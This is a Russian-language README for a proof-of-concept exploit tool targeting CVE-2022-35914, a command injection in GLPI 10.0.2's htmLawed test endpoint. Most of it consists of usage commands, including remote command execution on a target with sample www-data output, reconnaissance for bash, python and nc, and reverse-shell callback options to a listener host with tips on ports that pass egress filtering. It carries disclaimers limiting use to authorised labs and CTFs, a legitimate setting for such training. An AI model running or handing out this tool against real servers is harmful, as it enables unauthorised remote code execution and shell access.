
PoC-эксплойт для CVE-2022-35914 — GLPI v.10.0.2, инъекция команд в htmLawed, выполнение команд и поддержка reverse shell.
PoC для CVE-2022-35914 — уязвимости внедрения команд, связанной с тестовым компонентом htmLawed в уязвимых установках GLPI.
Инструмент обеспечивает выполнение команд через уязвимую конечную точку и включает опциональную функциональность обратного вызова для авторизованных лабораторных сред.
Отказ от ответственности: Этот проект предназначен только для авторизованного тестирования безопасности, CTF, лабораторий OffSec/PG и образовательных целей. Не используйте его против систем без явного разрешения.
| Поле | Детали |
|---|---|
| CVE | CVE-2022-35914 |
| Программное обеспечение | GLPI v.10.0.2 |
| Компонент | htmLawed |
| Уязвимая конечная точка | /vendor/htmlawed/htmlawed/htmLawedTest.php |
Уязвимый компонент может позволить выполнение команд через специально сформированные параметры на затронутых установках.
Python 3 и необходимые зависимости.
sudo apt install python3-requests python3-bs4
python3 -m venv venv
source venv/bin/activate
pip install requests beautifulsoup4
Клонируйте репозиторий:
git clone https://github.com/cyb3rk0ala/CVE-2022-35914.git
cd CVE-2022-35914
Сделайте скрипт исполняемым:
chmod +x glpi.py
python3 glpi.py -h
python3 glpi.py -u TARGET_IP -c 'id'
Пример вывода:
[*] Target: http://TARGET_IP:80/vendor/htmlawed/htmlawed/htmLawedTest.php
========== COMMAND OUTPUT ==========
uid=33(www-data) gid=33(www-data) groups=33(www-data)
====================================
Опция -c задаёт команду для выполнения.
python3 glpi.py -u TARGET_IP -c 'whoami'
python3 glpi.py -u TARGET_IP -c 'id'
python3 glpi.py -u TARGET_IP -c 'uname -a'
python3 glpi.py -u TARGET_IP -c 'which bash'
python3 glpi.py -u TARGET_IP -c 'which python3'
python3 glpi.py -u TARGET_IP -c 'which php'
python3 glpi.py -u TARGET_IP -c 'which nc'
| Опция | Описание | По умолчанию |
|---|---|---|
-u, --url | URL или IP-адрес цели | Обязательно |
-c, --cmd | Команда для выполнения | id |
--check | Проверить цель без выполнения команды | Отключено |
--user-agent | Пользовательский HTTP User-Agent | По умолчанию |
-p, --rport | Порт HTTP-сервиса цели | 80 |
-l, --lhost | IP-адрес обратного вызова/слушателя | — |
-lp, --lport | Порт обратного вызова/слушателя | — |
Опция -p / --rport задаёт порт, на котором работает уязвимый веб-сервис GLPI.
По умолчанию:
80
Пример:
python3 glpi.py -u TARGET_IP -p 80 -c 'id'
Используйте --check, чтобы убедиться в доступности тестовой страницы htmLawed без выполнения команды:
python3 glpi.py -u TARGET_IP --check
Пользовательский HTTP User-Agent можно задать с помощью:
python3 glpi.py \
-u TARGET_IP \
--user-agent 'Mozilla/5.0'
Скрипт поддерживает опциональные параметры обратного вызова:
-l IP-адрес обратного вызова/слушателя
-lp Порт обратного вызова/слушателя
Пример:
python3 glpi.py \
-u TARGET_IP \
-p 80 \
-l LHOST \
-lp 80
В этом примере:
Target: TARGET_IP:80
Callback: LHOST:80
Эти два порта имеют разное назначение:
-p = HTTP-порт GLPI цели
-lp = Порт обратного вызова/слушателя
Во время тестирования в лабораторной среде OffSec обратный вызов успешно работал через TCP-порт 80.
Другие порты обратного вызова, например 4444, могут завершаться по тайм-ауту в зависимости от лабораторной сети и фильтрации исходящего трафика.
Для протестированной среды:
python3 glpi.py \
-u TARGET_IP \
-p 80 \
-l LHOST \
-lp 80
Слушатель был настроен на VPN-интерфейсе Kali с использованием TCP-порта 80.
Важно: Использование порта 80 для обратного вызова — это наблюдение, специфичное для данной среды. Это не является требованием CVE-2022-35914.
Сначала проверьте выполнение команд:
python3 glpi.py -u TARGET_IP -c 'id'
Проверьте наличие необходимых утилит:
python3 glpi.py -u TARGET_IP -c 'which bash'
python3 glpi.py -u TARGET_IP -c 'which python3'
python3 glpi.py -u TARGET_IP -c 'which php'
python3 glpi.py -u TARGET_IP -c 'which nc'
Если выполнение команд работает, но обратный вызов завершается по тайм-ауту, проверьте маршрутизацию VPN и порт обратного вызова.
Если разбор вывода команд не удаётся, полный HTTP-ответ сохраняется в:
/tmp/glpi.html
Просмотрите его с помощью:
less /tmp/glpi.html
или:
mousepad /tmp/glpi.html
python3 glpi.py \
-u TARGET_IP \
--check
python3 glpi.py \
-u TARGET_IP \
-c 'id'
python3 glpi.py \
-u TARGET_IP \
-c 'whoami'
python3 glpi.py \
-u TARGET_IP \
-c 'which nc'
Для протестированной лабораторной среды OffSec:
python3 glpi.py \
-u TARGET_IP \
-p 80 \
-l LHOST \
-lp 80
Этот проект предоставлен исключительно в образовательных целях и для авторизованного тестирования безопасности.
Автор не несёт ответственности за любое неправомерное использование, ущерб, несанкционированный доступ или незаконную деятельность, связанную с этим программным обеспечением.
Всегда получайте явное разрешение перед тестированием системы.
cyb3rk0ala
CVE-2022-35914
CVE-2022-35914 от cyb3rk0ala